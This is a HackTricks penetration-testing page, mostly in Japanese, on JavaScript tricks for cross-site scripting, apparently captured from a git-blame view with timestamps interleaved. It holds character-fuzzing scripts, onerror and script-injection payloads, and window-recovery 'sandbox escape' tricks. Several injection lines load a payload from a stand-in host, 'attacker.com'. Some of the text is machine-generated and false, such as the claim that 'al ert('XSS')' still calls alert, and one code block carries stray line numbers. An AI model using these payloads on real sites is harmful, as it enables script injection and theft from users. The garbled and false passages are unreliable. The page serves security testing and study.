hacktricks/pentesting-web/xss-cross-site-scripting/other-js-tricks.md

585 lines
26 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# その他のJSトリックと関連情報
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-02-07 23:15:13 +00:00
## Javascript Fuzzing
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
### 有効なJSコメント文字
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
2023-02-07 10:56:16 +00:00
for (let j = 0; j < 128; j++) {
2023-07-07 23:42:27 +00:00
for (let k = 0; k < 128; k++) {
for (let l = 0; l < 128; l++) {
if (j == 34 || k ==34 || l ==34)
continue;
if (j == 0x0a || k ==0x0a || l ==0x0a)
continue;
if (j == 0x0d || k ==0x0d || l ==0x0d)
continue;
if (j == 0x3c || k ==0x3c || l ==0x3c)
continue;
if (
(j == 47 && k == 47)
||(k == 47 && l == 47)
)
continue;
try {
var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue
err = e.toString().split('\n')[0]
}
console.log(err,cmd);
}
}
2023-02-07 10:56:16 +00:00
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition.
2023-02-07 23:15:13 +00:00
log=[];
for(let i=0;i<=0xff;i++){
2023-07-07 23:42:27 +00:00
for(let j=0;j<=0xfff;j++){
try {
eval(`${String.fromCodePoint(i,j)}%$£234$`)
log.push([i,j])
}catch(e){}
}
2023-02-07 23:15:13 +00:00
}
console.log(log)//[35,33],[47,47]
```
2023-07-07 23:42:27 +00:00
### 有効なJSの改行文字
2023-07-07 23:42:27 +00:00
JavaScriptでは、改行文字は特定の文字列で表されます。以下は、有効なJSの改行文字の一覧です。
2023-07-07 23:42:27 +00:00
- `\n`:改行
- `\r`:復帰
- `\u2028`:行区切り文字
- `\u2029`:段落区切り文字
これらの改行文字は、JavaScriptの文字列内で使用することができます。
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8
2023-02-07 10:56:16 +00:00
for (let j = 0; j < 65536; j++) {
2023-07-07 23:42:27 +00:00
try {
var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue;
err = e.toString().split('\n')[0]
}
console.log(`[${err}]`,j,cmd);
2023-02-07 10:56:16 +00:00
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```
2023-07-07 23:42:27 +00:00
### 関数呼び出しにおける有効なJSスペース
2023-07-07 23:42:27 +00:00
In some cases, when trying to bypass filters or evade detection, it may be useful to insert spaces within a function call in JavaScript. These spaces can help obfuscate the code and make it harder for security mechanisms to detect malicious behavior.
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
以下のような場合、フィルターをバイパスしたり検出を回避する際に、JavaScriptの関数呼び出し内にスペースを挿入することが役立つ場合があります。これらのスペースは、コードを曖昧化し、セキュリティメカニズムが悪意のある動作を検出するのを困難にするのに役立ちます。
For example, instead of writing `alert('XSS')`, you can use spaces to break up the function call like this: `al ert('XSS')`. This can help bypass filters that are specifically looking for the `alert` keyword.
例えば、`alert('XSS')`と書く代わりに、スペースを使って関数呼び出しを分割することができます。`al ert('XSS')`となります。これにより、特に`alert`キーワードを探しているフィルターをバイパスするのに役立ちます。
It's important to note that this technique may not work in all cases, as security mechanisms and filters can be designed to detect such obfuscation techniques. Therefore, it's crucial to thoroughly test and validate the effectiveness of this technique in the specific context you are working with.
このテクニックがすべての場合で機能するわけではないことに注意してください。セキュリティメカニズムやフィルターは、このような曖昧化技術を検出するように設計されている場合があります。したがって、このテクニックの効果を確実にテストし、特定のコンテキストで有効であることを検証することが重要です。
2023-02-07 23:15:13 +00:00
```javascript
2023-07-07 23:42:27 +00:00
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
2023-02-07 23:15:13 +00:00
// Check chars that can be put in between in func name and the ()
function x(){}
log=[];
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
try {
eval(`x${String.fromCodePoint(i)}()`)
log.push(i)
}catch(e){}
2023-02-07 23:15:13 +00:00
}
2023-07-07 23:42:27 +00:00
2023-02-07 23:15:13 +00:00
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
```
2023-07-07 23:42:27 +00:00
### **文字列を生成するための有効な文字**
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
The following characters can be used to generate strings:
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
以下の文字は、文字列を生成するために使用することができます。
- Alphanumeric characters (A-Z, a-z, 0-9)
- Special characters (!, @, #, $, %, ^, &, *, (, ), -, _, +, =, [, ], {, }, |, \, :, ;, ", ', <, >, ,, ., ?, /)
- Whitespace characters (space, tab, newline)
- 英数字文字A-Z、a-z、0-9
- 特殊文字(!、@、#、$、%、^、&、*、(、)、-、_、+、=、[、]、{、}、|、\、:、;、"、'、<、>、,、.、?、/
- 空白文字(スペース、タブ、改行)
2023-02-07 23:15:13 +00:00
```javascript
2023-07-07 23:42:27 +00:00
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
2023-02-07 23:15:13 +00:00
// Check which pairs of chars can make something be a valid string
log=[];
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
try {
eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
log.push(i)
}catch(e){}
2023-02-07 23:15:13 +00:00
}
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
2023-07-07 23:42:27 +00:00
### **サロゲートペアBF**
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
このテクニックはXSSにはあまり役立ちませんが、WAFの保護をバイパスするのに役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがHighサロゲートペアの最後のバイトと一致し、最後のバイトがLowサロゲートペアの最後のバイトと一致するサロゲートペアを検索します。
```python
def unicode(findHex):
2023-07-07 23:42:27 +00:00
for i in range(0,0xFFFFF):
H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
h = chr(int(H[-2:],16))
L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
2023-07-07 23:42:27 +00:00
詳細情報:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
2023-07-07 23:42:27 +00:00
### `javascript{}:` プロトコルのファジング
2023-02-07 23:15:13 +00:00
```javascript
2023-07-07 23:42:27 +00:00
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
2023-02-07 23:15:13 +00:00
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
anchor.href = `javascript${String.fromCodePoint(i)}:`;
if(anchor.protocol === 'javascript:') {
log.push(i);
}
2023-02-07 23:15:13 +00:00
}
console.log(log)//9,10,13,58
// Note that you could BF also other possitions of the use of multiple chars
// Test one option
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)
// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>
```
### URL Fuzzing
2023-07-07 23:42:27 +00:00
URL Fuzzingは、Webアプリケーションのセキュリティテスト中に使用されるテクニックです。このテクニックでは、WebアプリケーションのURLに対して異なるパラメータや値を注入して、アプリケーションの挙動をテストします。URL Fuzzingは、アプリケーションが予期しない入力に対して適切に処理されるかどうかを確認するために使用されます。
URL Fuzzingは、以下のような攻撃を特定するために使用されます。
- パラメータの値によるアプリケーションのクラッシュ
- パラメータの値によるアプリケーションのエラー
- パラメータの値によるアプリケーションのセキュリティホール
URL Fuzzingは、自動化ツールを使用して行うことができます。これにより、大量の異なるパラメータや値を短時間でテストすることができます。また、URL Fuzzingは、Webアプリケーションのセキュリティテストの一環として行われることが多いです。
URL Fuzzingの目的は、アプリケーションの脆弱性を特定し、それを悪用することです。したがって、URL Fuzzingは、正当な目的でのみ使用されるべきです。
2023-02-07 23:15:13 +00:00
```javascript
2023-07-07 23:42:27 +00:00
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
2023-02-07 23:15:13 +00:00
// Before the protocol
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`;
if(a.hostname === 'hacktricks.xyz'){
log.push(i);
}
2023-02-07 23:15:13 +00:00
}
console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
// Between the slashes
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
if(a.hostname === 'hacktricks.xyz'){
log.push(i);
}
2023-02-07 23:15:13 +00:00
}
console.log(log) //9,10,13,47,92
```
### HTML Fuzzing
2023-07-07 23:42:27 +00:00
HTMLファジング
2023-02-07 23:15:13 +00:00
```javascript
2023-07-07 23:42:27 +00:00
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
2023-02-07 23:15:13 +00:00
// Fuzzing chars that can close an HTML comment
let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
2023-07-07 23:42:27 +00:00
div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
if(div.querySelector('span')){
log.push(i);
}
2023-02-07 23:15:13 +00:00
}
console.log(log)//33,45,62
```
2023-07-07 23:42:27 +00:00
## **属性の分析**
2023-02-07 23:15:13 +00:00
2023-07-07 23:42:27 +00:00
Portswiggerのツール**Hackability Inspector**は、JavaScriptオブジェクトの**属性**を分析するのに役立ちます。チェック:[https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
2023-03-03 15:39:23 +00:00
2023-07-07 23:42:27 +00:00
## **.map jsファイル**
2023-07-07 23:42:27 +00:00
* .map jsファイルをダウンロードするトリック[https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* これらのファイルを分析するためにこのツールを使用できます:[https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
2023-07-07 23:42:27 +00:00
## "--"代入
2023-07-07 23:42:27 +00:00
減算演算子`--`は、代入演算子でもあります。この演算子は値を受け取り、それを1減算します。値が数値でない場合、`NaN`に設定されます。これは、変数の内容を環境から削除するために使用できます。
![](<../../.gitbook/assets/image (553).png>)
![](<../../.gitbook/assets/image (554).png>)
2023-07-07 23:42:27 +00:00
## 関数のトリック
2023-02-07 10:56:16 +00:00
2023-07-07 23:42:27 +00:00
### .callと.apply
2023-02-07 10:56:16 +00:00
2023-07-07 23:42:27 +00:00
関数の**`.call`**メソッドは、関数を実行するために使用されます。\
デフォルトで期待される**最初の引数**は**`this`の値**であり、何も指定されていない場合は**`window`**がその値になります(**`strict mode`**が使用されていない限り)。
2023-02-07 10:56:16 +00:00
```javascript
function test_call(){
2023-07-07 23:42:27 +00:00
console.log(this.value); //baz
2023-02-07 10:56:16 +00:00
}
new_this={value:"hey!"}
test_call.call(new_this);
// To pass more arguments, just pass then inside .call()
function test_call() {
2023-07-07 23:42:27 +00:00
console.log(arguments[0]); //"arg1"
console.log(arguments[1]); //"arg2"
console.log(this); //[object Window]
2023-02-07 10:56:16 +00:00
}
test_call.call(null, "arg1", "arg2")
// If you use the "use strict" directive "this" will be null instead of window:
function test_call() {
2023-07-07 23:42:27 +00:00
"use strict";
console.log(this); //null
2023-02-07 10:56:16 +00:00
}
test_call.call(null)
2023-07-07 23:42:27 +00:00
2023-02-07 10:56:16 +00:00
//The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument:
function test_apply() {
2023-07-07 23:42:27 +00:00
console.log(arguments[0]); //"arg1"
console.log(arguments[1]); //"arg2"
console.log(this); //[object Window]
2023-02-07 10:56:16 +00:00
}
test_apply.apply(null, ["arg1", "arg2"])
```
### Arrow functions
2023-07-07 23:42:27 +00:00
アロー関数は、1行で関数をより簡単に生成することができます理解している場合
```javascript
// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};
// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;
// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }
// Arrow
let a = 4;
let b = 2;
() => a + b + 1;
```
2023-07-07 23:42:27 +00:00
したがって、以前のほとんどの関数は実際には無意味です。なぜなら、それらを保存して呼び出すための場所がないからです。例えば、`plusone` 関数を作成します。
```javascript
// Traductional
function plusone (a){ return a + 1; }
//Arrow
plusone = a => a + 100;
```
2023-07-07 23:42:27 +00:00
### バインド関数
2023-07-07 23:42:27 +00:00
バインド関数は、与えられた`this`オブジェクトとパラメータを変更して、関数の**コピー**を作成することができます。
```javascript
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
2023-07-07 23:42:27 +00:00
console.info( this, param1, param2 );
}
fn('Hello', 'World')
//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')
//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
2023-07-07 23:42:27 +00:00
bindFn_change('Hello', 'World')
//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')
//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')
```
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
**`bind`**を使用することで、関数を呼び出す際に使用される**`this`**オブジェクトを操作することができます。
{% endhint %}
2023-07-07 23:42:27 +00:00
### 関数コードの漏洩
2023-07-07 23:42:27 +00:00
関数のオブジェクトに**アクセスできる**場合、その関数の**コードを取得**することができます。
```javascript
function afunc(){
2023-07-07 23:42:27 +00:00
return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function
```
2023-07-07 23:42:27 +00:00
場合によっては、**関数に名前がない**場合でも、**関数のコード**を内部から出力することができます。
```javascript
(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")
```
2023-07-07 23:42:27 +00:00
他の関数から関数のコード(コメントも含む)を抽出するための**ランダムな**方法のいくつか:
```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
```
2023-07-07 23:42:27 +00:00
## サンドボックスの脱出 - windowオブジェクトの回復
2023-07-07 23:42:27 +00:00
Windowオブジェクトは、alertやevalなどのグローバルに定義された関数にアクセスすることができます。
2023-02-09 23:44:03 +00:00
{% code overflow="wrap" %}
```javascript
// Some ways to access window
window.eval("alert(1)")
frames
globalThis
parent
self
top //If inside a frame, this is top most window
// Access window from document
document.defaultView.alert(1)
// Access document from a node object
node = document.createElement('div')
node.ownerDocument.defaultView.alert(1)
// There is a path property on each error event whose last element is the window
<img src onerror=event.path.pop().alert(1337)>
// In other browsers the method is
<img src onerror=event.composedPath().pop().alert(1337)>
// In case of svg, the "event" object is called "evt"
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>
// Abusing Error.prepareStackTrace to get Window back
Error.prepareStackTrace=function(error, callSites){
2 callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack
2023-02-14 11:55:05 +00:00
// From an HTML event
// Events from HTML are executed in this context
with(document) {
2023-07-07 23:42:27 +00:00
with(element) {
//executed event
}
2023-02-14 11:55:05 +00:00
}
// Because of that with(document) it's possible to access properties of document like:
<img src onerror=defaultView.alert(1337)>
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
2023-02-09 23:44:03 +00:00
```
{% endcode %}
2023-07-07 23:42:27 +00:00
## 値へのアクセス時のブレークポイント
2023-07-07 23:42:27 +00:00
```javascript
Object.defineProperty(window, 'value', {
get: function() {
debugger;
return this._value;
},
set: function(val) {
this._value = val;
}
});
```
This JavaScript code sets a breakpoint whenever the `value` property is accessed. It uses the `Object.defineProperty()` method to define a getter and setter for the `value` property. The getter function includes a `debugger` statement, which triggers a breakpoint in the browser's developer tools whenever the `value` property is accessed. The setter function simply assigns the value to the `_value` property.
このJavaScriptコードは、`value`プロパティがアクセスされるたびにブレークポイントを設定します。`Object.defineProperty()`メソッドを使用して、`value`プロパティのゲッターとセッターを定義します。ゲッター関数には`debugger`ステートメントが含まれており、`value`プロパティがアクセスされるたびにブラウザの開発者ツールでブレークポイントがトリガされます。セッター関数は単に値を`_value`プロパティに代入します。
```javascript
// Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions
sessionStorage.getItem = localStorage.getItem = function(prop) {
2023-07-07 23:42:27 +00:00
debugger;
return sessionStorage[prop];
}
localStorage.setItem = function(prop, val) {
2023-07-07 23:42:27 +00:00
debugger;
localStorage[prop] = val;
}
```
```javascript
// Stop when anyone sets or gets the property "ppmap" in any object
// For example sessionStorage.ppmap
// "123".ppmap
// Useful to find where weird properties are being set or accessed
2023-07-07 23:42:27 +00:00
// or to find where prototype pollutions are occurring
function debugAccess(obj, prop, debugGet=true){
2023-07-07 23:42:27 +00:00
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});
};
debugAccess(Object.prototype, 'ppmap')
```
2023-07-07 23:42:27 +00:00
## テストペイロードを自動的にブラウザでアクセスする
Sometimes, when testing for Cross-Site Scripting (XSS) vulnerabilities, it can be useful to automate the process of accessing test payloads in a browser. This can help in quickly identifying if the payload triggers any XSS vulnerabilities.
XSS vulnerabilities occur when an application fails to properly sanitize user input and allows malicious scripts to be executed in a victim's browser. By automating the process of accessing test payloads, we can efficiently test for these vulnerabilities.
To automate browser access to test payloads, we can use various techniques:
### 1. JavaScript `window.open()`
We can use the JavaScript `window.open()` function to automatically open a new browser window or tab and load the test payload. This can be done by injecting the following code into the vulnerable input field:
```javascript
javascript:window.open('http://attacker.com/payload');
```
Replace `http://attacker.com/payload` with the URL of your test payload.
### 2. Image Source (`<img src="">`)
Another technique is to use the `<img>` tag with the `src` attribute set to the test payload URL. This will cause the browser to automatically load the image, triggering the execution of the payload. Inject the following code into the vulnerable input field:
```html
<img src="http://attacker.com/payload">
```
2023-07-07 23:42:27 +00:00
Replace `http://attacker.com/payload` with the URL of your test payload.
2023-07-07 23:42:27 +00:00
### 3. Iframe (`<iframe src="">`)
Similarly, we can use the `<iframe>` tag with the `src` attribute set to the test payload URL. This will load the payload in an embedded frame within the page. Inject the following code into the vulnerable input field:
```html
<iframe src="http://attacker.com/payload"></iframe>
```
Replace `http://attacker.com/payload` with the URL of your test payload.
By automating browser access to test payloads, we can quickly identify if the application is vulnerable to XSS attacks. Remember to always perform these tests responsibly and with proper authorization.
```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");
const realPasswordLength = 3000;
async function sleep(ms) {
2023-07-07 23:42:27 +00:00
return new Promise((resolve) => setTimeout(resolve, ms));
}
(async () => {
2023-07-07 23:42:27 +00:00
const browser = await puppeteer.launch();
const page = await browser.newPage();
//Loop to iterate through different values
for (let i = 0; i < 10000; i += 100) {
console.log(`Run number ${i}`);
const input = `${"0".repeat(i)}${realPasswordLength}`;
console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`);
//Go to the page
await page.goto(
`https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`
);
//Call function "generate()" inside the page
await page.evaluate("generate()");
//Get node inner text from an HTML element
const passwordContent = await page.$$eval(
".alert .page-content",
(node) => node[0].innerText
);
//Transform the content and print it in console
const plainPassword = passwordContent.replace("Your password is: ", "");
if (plainPassword.length != realPasswordLength) {
console.log(i, plainPassword.length, plainPassword);
}
await sleep(1000);
}
await browser.close();
})();
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか** または、**PEASSの最新バージョンにアクセスしたいですか** または、**HackTricksをPDFでダウンロードしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>